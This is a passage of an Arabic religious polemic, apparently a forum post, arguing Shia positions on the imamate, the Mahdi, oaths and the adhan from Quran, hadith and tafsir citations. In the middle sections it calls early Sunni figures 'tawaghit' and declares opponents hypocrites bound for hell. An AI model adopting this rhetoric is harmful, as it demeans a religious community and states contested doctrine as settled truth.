    ﻭﺧﺎﻣﺴﻬﺎ : ﺃﻥ ﺃﻋﻤﺎﻝ ﺍﻷﻣﺮﺍﺀ ﻭﺍﻟﺴﻼﻃﻴﻦ ﻣﻮﻗﻮﻓﺔ ﻋﻠﻰ ﻓﺘﺎﻭﻯ ﺍﻟﻌﻠﻤﺎﺀ ، ﻭﺍﻟﻌﻠﻤﺎﺀ ﻓﻲ ﺍﻟﺤﻘﻴﻘﺔ ﺃﻣﺮﺍﺀ ﺍﻷﻣﺮﺍﺀ ، ﻓﻜﺎﻥ ﺣﻤﻞ ﻟﻔﻆ ﺃﻭﻟﻲ ﺍﻷﻣﺮ ﻋﻠﻴﻬﻢ ﺃﻭﻟﻰ ، ﻭﺃﻣﺎ ﺣﻤﻞ ﺍﻵﻳﺔ ﻋﻠﻰ ﺍﻷﺋﻤﺔ ﺍﻟﻤﻌﺼﻮﻣﻴﻦ ﻋﻠﻰ ﻣﺎ ﺗﻘﻮﻟﻪ ﺍﻟﺮﻭﺍﻓﺾ ﻓﻔﻲ ﻏﺎﻳﺔ ﺍﻟﺒﻌﺪ ؛ ﻟﻮﺟﻮﻩ :
    ﺃﺣﺪﻫﺎ : ﻣﺎ ﺫﻛﺮﻧﺎﻩ ﺃﻥ ﻃﺎﻋﺘﻬﻢ ﻣﺸﺮﻭﻃﺔ ﺑﻤﻌﺮﻓﺘﻬﻢ ﻭﻗﺪﺭﺓ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻴﻬﻢ ، ﻓﻠﻮ ﺃﻭﺟﺐ ﻋﻠﻴﻨﺎ ﻃﺎﻋﺘﻬﻢ ﻗﺒﻞ ﻣﻌﺮﻓﺘﻬﻢ ﻛﺎﻥ ﻫﺬﺍ ﺗﻜﻠﻴﻒ ﻣﺎ ﻻ ﻳﻄﺎﻕ ، ﻭﻟﻮ ﺃﻭﺟﺐ ﻋﻠﻴﻨﺎ ﻃﺎﻋﺘﻬﻢ ﺇﺫﺍ ﺻﺮﻧﺎ ﻋﺎﺭﻓﻴﻦ ﺑﻬﻢ ﻭﺑﻤﺬﺍﻫﺒﻬﻢ ﺻﺎﺭ ﻫﺬﺍ ﺍﻹﻳﺠﺎﺏ ﻣﺸﺮﻭﻃﺎ ، ﻭﻇﺎﻫﺮ ﻗﻮﻟﻪ : ‏(
    ﺃﻃﻴﻌﻮﺍ ﺍﻟﻠﻪ ﻭﺃﻃﻴﻌﻮﺍ ﺍﻟﺮﺳﻮﻝ ﻭﺃﻭﻟﻲ ﺍﻷﻣﺮ ﻣﻨﻜﻢ ‏) ﻳﻘﺘﻀﻲ ﺍﻹﻃﻼﻕ ، ﻭﺃﻳﻀﺎ ﻓﻔﻲ ﺍﻵﻳﺔ ﻣﺎ ﻳﺪﻓﻊ ﻫﺬﺍ ﺍﻻﺣﺘﻤﺎﻝ ، ﻭﺫﻟﻚ ﻷﻧﻪ ﺗﻌﺎﻟﻰ ﺃﻣﺮ ﺑﻄﺎﻋﺔ ﺍﻟﺮﺳﻮﻝ ﻭﻃﺎﻋﺔ ﺃﻭﻟﻲ ﺍﻷﻣﺮ ﻓﻲ ﻟﻔﻈﺔ ﻭﺍﺣﺪﺓ ، ﻭﻫﻮ ﻗﻮﻟﻪ : ‏( ﻭﺃﻃﻴﻌﻮﺍ ﺍﻟﺮﺳﻮﻝ ﻭﺃﻭﻟﻲ ﺍﻷﻣﺮ ﻣﻨﻜﻢ ‏) ﻭﺍﻟﻠﻔﻈﺔ ﺍﻟﻮﺍﺣﺪﺓ ﻻ ﻳﺠﻮﺯ ﺃﻥ ﺗﻜﻮﻥ ﻣﻄﻠﻘﺔ ﻭﻣﺸﺮﻭﻃﺔ ﻣﻌﺎ ، ﻓﻠﻤﺎ ﻛﺎﻧﺖ ﻫﺬﻩ ﺍﻟﻠﻔﻈﺔ ﻣﻄﻠﻘﺔ ﻓﻲ ﺣﻖ ﺍﻟﺮﺳﻮﻝ ﻭﺟﺐ ﺃﻥ ﺗﻜﻮﻥ ﻣﻄﻠﻘﺔ ﻓﻲ ﺣﻖ ﺃﻭﻟﻲ ﺍﻷﻣﺮ .
    ﺍﻟﺜﺎﻧﻲ : ﺃﻧﻪ ﺗﻌﺎﻟﻰ ﺃﻣﺮ ﺑﻄﺎﻋﺔ ﺃﻭﻟﻲ ﺍﻷﻣﺮ ، ﻭﺃﻭﻟﻮ ﺍﻷﻣﺮ ﺟﻤﻊ ، ﻭﻋﻨﺪﻫﻢ ﻻ ﻳﻜﻮﻥ ﻓﻲ ﺍﻟﺰﻣﺎﻥ ﺇﻻ ﺇﻣﺎﻡ ﻭﺍﺣﺪ ، ﻭﺣﻤﻞ ﺍﻟﺠﻤﻊ ﻋﻠﻰ ﺍﻟﻔﺮﺩ ﺧﻼﻑ ﺍﻟﻈﺎﻫﺮ .
    ﻭﺛﺎﻟﺜﻬﺎ : ﺃﻧﻪ ﻗﺎﻝ : ‏( ﻓﺈﻥ ﺗﻨﺎﺯﻋﺘﻢ ﻓﻲ ﺷﻲﺀ ﻓﺮﺩﻭﻩ ﺇﻟﻰ ﺍﻟﻠﻪ ﻭﺍﻟﺮﺳﻮﻝ ‏) ﻭﻟﻮ ﻛﺎﻥ ﺍﻟﻤﺮﺍﺩ ﺑﺄﻭﻟﻲ ﺍﻷﻣﺮ ﺍﻹﻣﺎﻡ ﺍﻟﻤﻌﺼﻮﻡ ﻟﻮﺟﺐ ﺃﻥ ﻳﻘﺎﻝ : ﻓﺈﻥ ﺗﻨﺎﺯﻋﺘﻢ ﻓﻲ ﺷﻲﺀ ﻓﺮﺩﻭﻩ ﺇﻟﻰ ﺍﻹﻣﺎﻡ ، ﻓﺜﺒﺖ ﺃﻥ ﺍﻟﺤﻖ ﺗﻔﺴﻴﺮ ﺍﻵﻳﺔ ﺑﻤﺎ ﺫﻛﺮﻧﺎﻩ

    يا أيها الذين آمنوا أطيعوا الله وأطيعوا الرسول وأولي الأمر منكم فإن تنازعتم في شيء فردوه إلى الله والرسول إن كنتم تؤمنون بالله واليوم الآخر ذلك خير وأحسن تأويلا قوله تعالى ياأيها الذين آمنوا أطيعوا الله وأطيعوا الرسول وأولي الأمر منكم فإن تنازعتم في شيء فردوه إلى الله والرسول إن كنتم تؤمنون بالله واليوم..


    فلاحظوا ان الائمة الاثني عشر خلفاء وامراء و معصومون وواجب إتباعهم....

    ومن هذا مر إحدى عشر خليفة من هؤلاء الخلفاء المعصومون(عليهم السلام)...فأين الثاني عشر؟.....

    الخليفة الثاني عشر موجود بيننا.....ولكنه لا يظهر ويحكمنا لاسباب منها ان الامة إذا لم تتقبل الامام المهدي وتبايعه وتواليه فلن يظهره الله عز وجل....

    وخاصة ان النبي بشر بالمهدي وانه من عترته واهل بيته وانه خليفة:

    *أحمدبن حنبل*-مسند احمد- مسند العشرة المبشرين بالجنة -*مسند الخلفاء الراشدين - ومن مسند علي بن أبي طالب (ر)

    ‏646*- حدثنا : ‏ ‏فضل بن دكين ‏ ، حدثنا : ‏ ‏ياسين العجلي ‏‏، عن ‏ ‏إبراهيم بن محمد إبن الحنفية ‏، عن ‏أبيه ‏ ‏، عن ‏ ‏علي ‏(ر)‏ ‏قال :**‏(ص)*‏ ‏المهدي ‏‏منا أهل البيت*




    *أحمد*- باقي مسند المكثرين - مسند أبي سعيد الخدري (ر)

    ‏10920*- حدثنا : ‏محمد بن جعفر ‏ ، حدثنا : ‏ ‏عوف ‏، عن ‏‏أبي الصديق الناجي ‏، عن ‏أبي سعيد الخدري ‏قال :*‏قال رسول الله ‏ (ص) ‏لا تقوم***ثم يخرج رجل من ‏عترتي ‏ ‏أو من أهل بيتي*‏يملؤها قسطاًً وعدلاًً كما ملئت ظلماًً وعدواناًً. ‏




    الالباني- صحيح الجامع -*رقم الحديث : (*3603*)

    نوع الحديث : صحيح

    نص الحديث :*عن أم سلمة قالت :*سمعت رسول الله (ص) : يقول المهدي من عترتي من ولد فاطمة*، (*صحيح*) _ إبن ماجه 4086.


    مسند أحمد*- باقي مسند الأنصار - ومن حديث ثوبان (ر)

    ‏21882*- حدثنا : ‏ ‏وكيع ‏ ‏، عن ‏ ‏شريك ‏ ‏، عن ‏ ‏علي بن زيد ‏ ‏، عن ‏ ‏أبي قلابة ‏، عن ‏‏ثوبان ‏‏قال : ‏‏قال رسول الله (ص) : ‏‏إذا رأيتم الرايات السود قد جاءت من ‏ ‏خراسان ‏ ‏فأتوها فإن فيها خليفة الله ‏ ‏المهدي.

    الرابط:



    *


    صحيح*البخاري*- كتاب أحاديث الأنبياء - باب نزول عيسى إبن مريم (ع)

    ‏3265*- حدثنا : ‏ ‏إبن بكير ‏ ، حدثنا : ‏ ‏الليث ‏ ‏، عن ‏ ‏يونس ‏ ‏، عن ‏ ‏إبن شهاب ‏ ‏، عن ‏ ‏نافع ‏ ‏مولى ‏ ‏أبي قتادة الأنصاري ‏ ‏أن ‏ ‏أبا هريرة ‏ ‏قال :**‏: ‏كيف أنتم إذا نزل ‏ ‏إبن مريم ‏ ‏فيكم وإمامكم منكم*



    *
    *ابن حجر*- فتح الباري شرح صحيح البخاري - كتاب أحاديث الأنبياء - باب نزول عيسى إبن مريم (ع) -*رقم الصفحة : ( 569 / 570 )

    [*النص طويل لذا إستقطع منه موضع الشاهد*]


    - قوله : (*كيف أنتم إذا نزل ابن مريم فيكم وإمامكم منكم*) : .... وعند أحمد من حديث جابر في قصة الدجال ونزول عيسى ‏، وإذا هم بعيسى ، فيقال : تقدم يا روح الله ،*فيقول : ليتقدم إمامكم فليصل بكم.

    - ولإبن ماجه في حديث أبي إمامة الطويل في الدجال قال : ‏وكلهم أي المسلمون ببيت المقدس وإمامهم رجل صالح قد تقدم ليصلي بهم ، إذ نزل عيسى فرجع الإمام ينكص ليتقدم عيسى ، فيقف عيسى بين كتفيه ، ثم يقول ‏:‏ تقدم فإنها لك أقيمت*‏.


    - وقال أبو الحسن الخسعي الآبدي في مناقب الشافعي‏ :‏*تواترت الأخبار بأن المهدي من هذه الأمة ، وأن عيسى يصلي خلفه*، ذكر ذلك رداً للحديث الذي أخرجه إبن ماجه ، عن أنس وفيه ‏، ولا مهدي إلاّّ عيسى.


    - وقال أبو ذر الهروي :‏ حدثنا : الجوزقي ، عن بعض المتقدمين*قال : معنى قوله ‏:‏ ‏وإمامكم منكم ‏يعني أنه يحكم بالقرآن لا بالإنجيل‏.

    -*وفي صلاة عيسى خلف رجل من هذه الأمة ، مع كونه في آخر الزمان وقرب قيام الساعة دلالة للصحيح من الأقوال أن الأرض لا تخلو عن قائم لله بحجة ،*والله أعلم.

    الرابط:



    *
    فلاحظو ان المهدي من العترة الطاهرة.....مأمورون بإتباعه بالجمع بين الادلة المذكورة....وهو معصوم بنص الادلة المذكورة....وهو خليفة.... وهو يكون اخر الائمة بدليل انه يظهر في اخر الزمان......وانه ابن الامام الحسن بن علي العسكري لان الرواية في بخاري ومسلم تقول اثني عشر خليفة فيكون الخليفة الثاني عشر ابنا للخليفة الحادي عشر.....وكل خليفة من هؤلاء ابن للذي قبله لانهم من العترة الطاهرة وراجعوا الكتب عند الفريقين في تسلسل الائمة الاثني عشر وسلالتهم.....

    فثبت ما كنا اعددناه عناوين في بداية البحث.

    فنحن الشيعة إتبعنا اهل البيت الخلفاء المعصومون...واتبعنا القران والسنة النبوية من طريق اهل البيت فنكون من الناجين يوم القيامة بنص حديث الثقلين....

    ولنرى الايات التي بعد اية إطاعة الامر:

    (أَلَمْ تَرَ إِلَى الَّذِينَ يَزْعُمُونَ أَنَّهُمْ آمَنُوا بِمَا أُنزِلَ إِلَيْكَ وَمَا أُنزِلَ مِن قَبْلِكَ يُرِيدُونَ أَن يَتَحَاكَمُوا إِلَى الطَّاغُوتِ وَقَدْ أُمِرُوا أَن يَكْفُرُوا بِهِ وَيُرِيدُ الشَّيْطَانُ أَن يُضِلَّهُمْ ضَلَالًا بَعِيدًا )
    النساء (60)
    واضح ان هؤلاء هم اهل الخلاف...لانهم يزعمون انهم يتبعون القران والسنة النبوية واهل بيته وفي نفس الوقت يكذبون وهم لا يتبعون القران ولا سنة النبوية ولا اهل البيت.....واهل الخلاف يريدون ان يتحاكموا الى الطاغوت والممثل بابو بكر وعمر وعثمان وعائشة وحفصة ومعاوية واشباههم.....فهؤلاء كلهم طواغيت....ستسألون كيف هذا؟

    فالاية تذكر طاغوت اي بالمفرد وهؤلاء جمع فكيف هذا للاستدلال؟

    تفاسيركم ترد على سؤالكم:
    ﺍﻟﻘﺮﺁﻥ
    ﺗﻔﺴﻴﺮ ﺍﺑﻦ ﻛﺜﻴﺮ
    ﺇﺳﻤﺎﻋﻴﻞ ﺑﻦ ﻋﻤﺮ ﺑﻦ ﻛﺜﻴﺮ ﺍﻟﻘﺮﺷﻲ ﺍﻟﺪﻣﺸﻘﻲ
    ﺩﺍﺭ ﻃﻴﺒﺔ ﺳﻨﺔ ﺍﻟﻨﺸﺮ: 1422ﻫـ / 2002ﻡ ﺭﻗﻢ ﺍﻟﻄﺒﻌﺔ: --- ﻋﺪﺩ ﺍﻷﺟﺰﺍﺀ: ﺛﻤﺎﻧﻴﺔ ﺃﺟﺰﺍﺀ

    ‏» ﺗﻔﺴﻴﺮ ﺍﻟﻘﺮﺁﻥ ﺍﻟﻌﻈﻴﻢ ‏» ﺗﻔﺴﻴﺮ ﺳﻮﺭﺓ ﺍﻟﻨﺴﺎﺀ ‏» ﺗﻔﺴﻴﺮ ﻗﻮﻟﻪ ﺗﻌﺎﻟﻰ " ﺃﻟﻢ ﺗﺮ ﺇﻟﻰ ﺍﻟﺬﻳﻦ ﻳﺰﻋﻤﻮﻥ ﺃﻧﻬﻢ ﺁﻣﻨﻮﺍ ﺑﻤﺎ ﺃﻧﺰﻝ ﺇﻟﻴﻚ ﻭﻣﺎ ﺃﻧﺰﻝ ﻣﻦ ﻗﺒﻠﻚ "
    ﻣﺴﺄﻟﺔ: ﺍﻟﺘﺤﻠﻴﻞ ﺍﻟﻤﻮﺿﻮﻋﻲ ‏( ﺃﻟﻢ ﺗﺮ ﺇﻟﻰ ﺍﻟﺬﻳﻦ ﻳﺰﻋﻤﻮﻥ ﺃﻧﻬﻢ ﺁﻣﻨﻮﺍ ﺑﻤﺎ ﺃﻧﺰﻝ ﺇﻟﻴﻚ ﻭﻣﺎ ﺃﻧﺰﻝ ﻣﻦ ﻗﺒﻠﻚ ﻳﺮﻳﺪﻭﻥ ﺃﻥ ﻳﺘﺤﺎﻛﻤﻮﺍ ﺇﻟﻰ ﺍﻟﻄﺎﻏﻮﺕ ﻭﻗﺪ ﺃﻣﺮﻭﺍ ﺃﻥ ﻳﻜﻔﺮﻭﺍ ﺑﻪ ﻭﻳﺮﻳﺪ ﺍﻟﺸﻴﻄﺎﻥ ﺃﻥ ﻳﻀﻠﻬﻢ ﺿﻼﻻ ﺑﻌﻴﺪﺍ ‏( 60 ‏) ﻭﺇﺫﺍ ﻗﻴﻞ ﻟﻬﻢ ﺗﻌﺎﻟﻮﺍ ﺇﻟﻰ ﻣﺎ ﺃﻧﺰﻝ ﺍﻟﻠﻪ ﻭﺇﻟﻰ ﺍﻟﺮﺳﻮﻝ ﺭﺃﻳﺖ ﺍﻟﻤﻨﺎﻓﻘﻴﻦ ﻳﺼﺪﻭﻥ ﻋﻨﻚ ﺻﺪﻭﺩﺍ ‏( 61 ‏) ﻓﻜﻴﻒ ﺇﺫﺍ ﺃﺻﺎﺑﺘﻬﻢ ﻣﺼﻴﺒﺔ ﺑﻤﺎ ﻗﺪﻣﺖ ﺃﻳﺪﻳﻬﻢ ﺛﻢ ﺟﺎﺀﻭﻙ ﻳﺤﻠﻔﻮﻥ ﺑﺎﻟﻠﻪ ﺇﻥ ﺃﺭﺩﻧﺎ ﺇﻻ ﺇﺣﺴﺎﻧﺎ ﻭﺗﻮﻓﻴﻘﺎ ‏( 62 ‏) ﺃﻭﻟﺌﻚ ﺍﻟﺬﻳﻦ ﻳﻌﻠﻢ ﺍﻟﻠﻪ ﻣﺎ ﻓﻲ ﻗﻠﻮﺑﻬﻢ ﻓﺄﻋﺮﺽ ﻋﻨﻬﻢ ﻭﻋﻈﻬﻢ ﻭﻗﻞ ﻟﻬﻢ ﻓﻲ ﺃﻧﻔﺴﻬﻢ ﻗﻮﻻ ﺑﻠﻴﻐﺎ ‏( 63 ‏) ‏) .
    ﻫﺬﺍ ﺇﻧﻜﺎﺭ ﻣﻦ ﺍﻟﻠﻪ ، ﻋﺰ ﻭﺟﻞ ، ﻋﻠﻰ ﻣﻦ ﻳﺪﻋﻲ ﺍﻹﻳﻤﺎﻥ ﺑﻤﺎ ﺃﻧﺰﻝ ﺍﻟﻠﻪ ﻋﻠﻰ ﺭﺳﻮﻟﻪ ﻭﻋﻠﻰ ﺍﻷﻧﺒﻴﺎﺀ ﺍﻷﻗﺪﻣﻴﻦ ، ﻭﻫﻮ ﻣﻊ ﺫﻟﻚ ﻳﺮﻳﺪ ﺍﻟﺘﺤﺎﻛﻢ ﻓﻲ ﻓﺼﻞ ﺍﻟﺨﺼﻮﻣﺎﺕ ﺇﻟﻰ ﻏﻴﺮ ﻛﺘﺎﺏ ﺍﻟﻠﻪ ﻭﺳﻨﺔ ﺭﺳﻮﻟﻪ ، ﻛﻤﺎ ﺫﻛﺮ ﻓﻲ ﺳﺒﺐ ﻧﺰﻭﻝ ﻫﺬﻩ ﺍﻵﻳﺔ : ﺃﻧﻬﺎ ﻓﻲ ﺭﺟﻞ ﻣﻦ ﺍﻷﻧﺼﺎﺭ ﻭﺭﺟﻞ ﻣﻦ ﺍﻟﻴﻬﻮﺩ ﺗﺨﺎﺻﻤﺎ ، ﻓﺠﻌﻞ ﺍﻟﻴﻬﻮﺩﻱ ﻳﻘﻮﻝ : ﺑﻴﻨﻲ ﻭﺑﻴﻨﻚ ﻣﺤﻤﺪ . ﻭﺫﺍﻙ ﻳﻘﻮﻝ : ﺑﻴﻨﻲ ﻭﺑﻴﻨﻚ ﻛﻌﺐ ﺑﻦ ﺍﻷﺷﺮﻑ . ﻭﻗﻴﻞ : ﻓﻲ ﺟﻤﺎﻋﺔ ﻣﻦ ﺍﻟﻤﻨﺎﻓﻘﻴﻦ ، ﻣﻤﻦ ﺃﻇﻬﺮﻭﺍ ﺍﻹﺳﻼﻡ ، ﺃﺭﺍﺩﻭﺍ ﺃﻥ ﻳﺘﺤﺎﻛﻤﻮﺍ ﺇﻟﻰ ﺣﻜﺎﻡ ﺍﻟﺠﺎﻫﻠﻴﺔ . ﻭﻗﻴﻞ ﻏﻴﺮ ﺫﻟﻚ ، ﻭﺍﻵﻳﺔ ﺃﻋﻢ ﻣﻦ ﺫﻟﻚ ﻛﻠﻪ ، ﻓﺈﻧﻬﺎ ﺫﺍﻣﺔ ﻟﻤﻦ ﻋﺪﻝ ﻋﻦ ﺍﻟﻜﺘﺎﺏ ﻭﺍﻟﺴﻨﺔ ، ﻭﺗﺤﺎﻛﻤﻮﺍ ﺇﻟﻰ ﻣﺎ ﺳﻮﺍﻫﻤﺎ ﻣﻦ ﺍﻟﺒﺎﻃﻞ ، ﻭﻫﻮ ﺍﻟﻤﺮﺍﺩ ﺑﺎﻟﻄﺎﻏﻮﺕ ﻫﺎﻫﻨﺎ ; ﻭﻟﻬﺬﺍ ﻗﺎﻝ : ‏( ﻳﺮﻳﺪﻭﻥ ﺃﻥ ﻳﺘﺤﺎﻛﻤﻮﺍ ﺇﻟﻰ ﺍﻟﻄﺎﻏﻮﺕ ‏[ ﻭﻗﺪ ﺃﻣﺮﻭﺍ ﺃﻥ ﻳﻜﻔﺮﻭﺍ ﺑﻪ ﻭﻳﺮﻳﺪ ﺍﻟﺸﻴﻄﺎﻥ ﺃﻥ ﻳﻀﻠﻬﻢ ﺿﻼﻻ ﺑﻌﻴﺪﺍ . ﻭﺇﺫﺍ ﻗﻴﻞ ﻟﻬﻢ ﺗﻌﺎﻟﻮﺍ ﺇﻟﻰ ﻣﺎ ﺃﻧﺰﻝ ﺍﻟﻠﻪ ﻭﺇﻟﻰ ﺍﻟﺮﺳﻮﻝ ﺭﺃﻳﺖ ﺍﻟﻤﻨﺎﻓﻘﻴﻦ ﻳﺼﺪﻭﻥ ﻋﻨﻚ ﺻﺪﻭﺩﺍ ‏] ‏) .
    ﻭﻗﻮﻟﻪ : ‏( ﻳﺼﺪﻭﻥ ﻋﻨﻚ ﺻﺪﻭﺩﺍ ‏) ﺃﻱ : ﻳﻌﺮﺿﻮﻥ ﻋﻨﻚ ﺇﻋﺮﺍﺿﺎ ﻛﺎﻟﻤﺴﺘﻜﺒﺮﻳﻦ ﻋﻦ ﺫﻟﻚ ، ﻛﻤﺎ ﻗﺎﻝ ﺗﻌﺎﻟﻰ ﻋﻦ ﺍﻟﻤﺸﺮﻛﻴﻦ : ‏( ﻭﺇﺫﺍ ﻗﻴﻞ ﻟﻬﻢ ﺍﺗﺒﻌﻮﺍ ﻣﺎ ﺃﻧﺰﻝ ﺍﻟﻠﻪ ﻗﺎﻟﻮﺍ ﺑﻞ ﻧﺘﺒﻊ ﻣﺎ ﻭﺟﺪﻧﺎ ﻋﻠﻴﻪ ﺁﺑﺎﺀﻧﺎ ‏) ‏[ ﻟﻘﻤﺎﻥ : 21 ‏] ﻫﺆﻻﺀ ﻭﻫﺆﻻﺀ ﺑﺨﻼﻑ ﺍﻟﻤﺆﻣﻨﻴﻦ ، ﺍﻟﺬﻳﻦ ﻗﺎﻝ ﺍﻟﻠﻪ ﻓﻴﻬﻢ : ‏( ﺇﻧﻤﺎ ﻛﺎﻥ ﻗﻮﻝ ﺍﻟﻤﺆﻣﻨﻴﻦ ﺇﺫﺍ ﺩﻋﻮﺍ ﺇﻟﻰ ﺍﻟﻠﻪ ﻭﺭﺳﻮﻟﻪ ﻟﻴﺤﻜﻢ ﺑﻴﻨﻬﻢ ﺃﻥ ﻳﻘﻮﻟﻮﺍ ﺳﻤﻌﻨﺎ ‏[ ﻭﺃﻃﻌﻨﺎ ﻭﺃﻭﻟﺌﻚ

    ألم تر إلى الذين يزعمون أنهم آمنوا بما أنزل إليك وما أنزل من قبلك يريدون أن يتحاكموا إلى الطاغوت وقد أمروا أن يكفروا به ويريد الشيطان أن يضلهم ضلالا بعيدا 60 وإذا قيل لهم تعالوا إلى ما أنزل الله وإلى الرسول رأيت المنافقين يصدون عنك صدودا 61 فكيف إذا أصابتهم مصيبة بما قدمت أيديهم ثم جاءوك يحلفون بالله إن..



    فالمخالفون يريدون ان يتحاكموا الى ابو بكر وعمر وعثمان وعائشة وحفصة ومعاوية واشباه هؤلاء الطواغيت وتركوا القران وسنة رسول الله واهل بيته الذي امر القران و رسول الله بوجوب إتباعهم.....

    ( وَإِذَا قِيلَ لَهُمْ تَعَالَوْا إِلَىٰ مَا أَنزَلَ اللَّهُ وَإِلَى الرَّسُولِ رَأَيْتَ الْمُنَافِقِينَ يَصُدُّونَ عَنكَ صُدُودًا )
    النساء (61)

    فهذا حال المخالفون فهم منافقون والمنافق في الدرك الاسفل من النار.....

    ونحن الشيعة الناجون لاننا إتبعنا القران والنبي واهل بيته......

    لماذا؟

    تِلْكَ حُدُودُ اللَّهِ ۚ وَمَن يُطِعِ اللَّهَ وَرَسُولَهُ يُدْخِلْهُ جَنَّاتٍ تَجْرِي مِن تَحْتِهَا الْأَنْهَارُ خَالِدِينَ فِيهَا ۚ وَذَٰلِكَ الْفَوْزُ الْعَظِيمُ )
    النساء (13

    وَمَن يُطِعِ اللَّهَ وَالرَّسُولَ فَأُولَٰئِكَ مَعَ الَّذِينَ أَنْعَمَ اللَّهُ عَلَيْهِم مِّنَ النَّبِيِّينَ وَالصِّدِّيقِينَ وَالشُّهَدَاءِ وَالصَّالِحِينَ ۚ وَحَسُنَ أُولَٰئِكَ رَفِيقًا )
    النساء (69)

    وَمَن يُطِعِ اللَّهَ وَرَسُولَهُ وَيَخْشَ اللَّهَ وَيَتَّقْهِ فَأُولَٰئِكَ هُمُ الْفَائِزُونَ )
    النور (52)

    نحن الشيعة اطعنا الله ورسوله واهل بيته:

    نحن الشيعة نعتقد ان الله لا يرى في الاخرة:
    قال الله عز وجل في القرأن الكريم:
    {لا تدركه الابصار وهو يدرك الابصار وهو اللطيف الخبير}

    كل الابصار لا تدرك الله عز وجل...لان الرؤية تكون بالادراك...وهذه الاية مطلقة اي انها تنفي رؤية الله في الدنيا والاخرة..وإذا قال المخالفون اية:وجوه يومئذ ناضرة*الى ربها ناظرة

    فهم إذا فسرو هذه الاية بإمكانية وقوع الرؤية فهم في هذه الحالة يحدثون تناقض بين ايات القرأن.....وفي هذه الحالة سوف يتراجعون عن تفسيرهم السقيم لهذه الاية فهذه الاية يكون تفسيرها:انتظار ثواب ربها......وهذا التفسير مطابق لتلك الاية....

    نحن الشيعة نعتقد ان صفات الله لغيره جائزة....

    من اسماء الله الحسنى الحكيم....وكل البشر من المسلمين يقولون لقمان الحكيم....فهل الكل مشركون إذا لم يبق اسلام ولا مسلمون.....

    نحن الشيعة نعتقد ان الحلف بغير الله يجوز:
    الله يحلف بغيره(والتين والزيتون) فيجوز لنا ان نحلف بغير الله.*
    فالمخالفون سيقولون: أنه...لا....إن الله يحق له أن يحلف بغيره والعباد لا يحق لهم ان يحلفوا بغير الله.....*
    الرد عليهم:*
    1-لا يوجد دليل على أنه يجوز لله ان يحلف بغيره ولا يجوز لنا ان نحلف بغير الله.
    2-على فرض وجود الدليل على قولهم فنقول: نحن الشيعة: سنسألكم يا مخالفين:
    اولاً "هل الحلف بغير الله شرك؟ سيقول المخالفون:نعم.*
    ثانيا"يعني من حلف بغير الله أي يلفظ الحلف بغير الله يعتبر مشرك؟ المخالفون:نعم.
    ثالثاً "أنتم يا مخالفون أتقرأون القرأن؟المخالفون:نعم. ولكن في القرأن يوجد آيات الحلف بغير الله فإذا كان من يحلف بغير الله فأنتم مشركون.... فالذي يقرأ هذه الحلفانات يكون مشركا...فأنتم تقولون أن الله يحق له ان يحلف بغيره ولا يحق لنا الحلف بغيره....فعند قرأتنا لآيات الحلف بغير الله فيكون كل المسلمون مشركون؟؟؟
    وعليه يكون امامكم خياران
    أ_إما أن يكون إدعائكم ثابت فيكون المسلمون كلهم مشركون لقراءتهم آيات الحلف بغير الله ومن يعتقد بهذا يكون طاعنا في القرأن لأنه سيتهم ان القرأن يؤدي بالانسان الى الشرك(وهذا من المستحيل أن تقولوا هذا الشي).
    ب_وإما ان تقولوا انه من يقرأ الحلفانات بغير الله فأنه يحق لنا ان نحلف بغير الله (بشكل مطلق)فينكسر إدعائكم بأن الحلف بغير الله شرك. فأيهما تختارون أيها المخالفون(النواصب)؟؟؟!!!!!!

    نحن الشيعة نعتقد ان قول لبيك لغير الله جائز...معنى قول لبيك اي البي امرك اطيع امرك....واية إطاعة الامر خير شاهد

    نحن الشيعة نعتقد ان مصحف فاطمة ليس قرأن بل فيه حوادث الامور وتفسير القرأن وهو موجود عند الامام المهدي.....

    نحن الشيعة نعتقد ان تشريع الاذان لم يكن بأن النبي إحتار كيف يضع اذان للناس حتى جاء صحابيان وقالا له كيف هو الاذان فاقر الاذان بما قالاه هذين الصحابيين.....
    بل نعتقد ان جبرائيل هو الذي علم النبي الاذان والصلاة وما شاكل في حادثة الاسراء والمعراج....{وما ينطق عن الهوى إن هو الا وحي يوحى}
    ﺍﻟﻜﺘﺎﺏ :
    ﺍﻟﻤﺴﺘﺪﺭﻙ ﻋﻠﻰ ﺍﻟﺼﺤﻴﺤﻴﻦ
    ﺍﻟﻤﺆﻟﻒ :
    ﺃﺑﻮ ﻋﺒﺪ ﺍﻟﻠﻪ ﺍﻟﺤﺎﻛﻢ ﻣﺤﻤﺪ ﺑﻦ ﻋﺒﺪ ﺍﻟﻠﻪ ﺑﻦ ﻣﺤﻤﺪ ﺑﻦ ﺣﻤﺪﻭﻳﻪ ﺑﻦ ﻧُﻌﻴﻢ ﺑﻦ ﺍﻟﺤﻜﻢ ﺍﻟﻀﺒﻲ ﺍﻟﻄﻬﻤﺎﻧﻲ ﺍﻟﻨﻴﺴﺎﺑﻮﺭﻱ ﺍﻟﻤﻌﺮﻭﻑ ﺑﺎﺑﻦ ﺍﻟﺒﻴﻊ ‏( ﺍﻟﻤﺘﻮﻓﻰ : 405 ﻫـ ‏)
    ﺗﺤﻘﻴﻖ :
    ﻣﺼﻄﻔﻰ ﻋﺒﺪ ﺍﻟﻘﺎﺩﺭ ﻋﻄﺎ
    ﺍﻟﻨﺎﺷﺮ :
    ﺩﺍﺭ ﺍﻟﻜﺘﺐ ﺍﻟﻌﻠﻤﻴﺔ - ﺑﻴﺮﻭﺕ
    ﺍﻟﻄﺒﻌﺔ :
    ﺍﻷﻭﻟﻰ، 1411 - 1990

    الجزء (3)الصفحة(187)

    4798 -*وَحَدَّثَنِي نَصْرُ بْنُ مُحَمَّدٍ الْعَدْلُ، ثنا أَحْمَدُ بْنُ مُحَمَّدِ بْنِ سَعِيدٍ الْحَافِظُ، ثنا أَحْمَدُ بْنُ يَحْيَى الْبَجَلِيُّ، ثنا مُحَمَّدُ بْنُ إِسْحَاقَ الْبَلْخِيُّ، ثنا نُوحُ بْنُ دَرَّاجٍ، عَنِ الْأَجْلَحِ، عَنِ الْبَهِيِّ، عَنْ سُفْيَانَ بْنِ اللَّيْلِ، قَالَ: لَمَّا كَانَ مِنْ أَمْرِ الْحَسَنِ بْنِ عَلِيٍّ وَمُعَاوِيَةَ مَا كَانَ قَدِمْتُ عَلَيْهِ الْمَدِينَةَ وَهُوَ جَالِسٌ فِي أَصْحَابِهِ، - فَذَكَرَ الْحَدِيثَ بِطُولِهِ - قَالَ: فَتَذَاكَرْنَا عِنْدَهُ الْأَذَانَ فَقَالَ بَعْضُنَا: إِنَّمَا كَانَ بَدْءُ 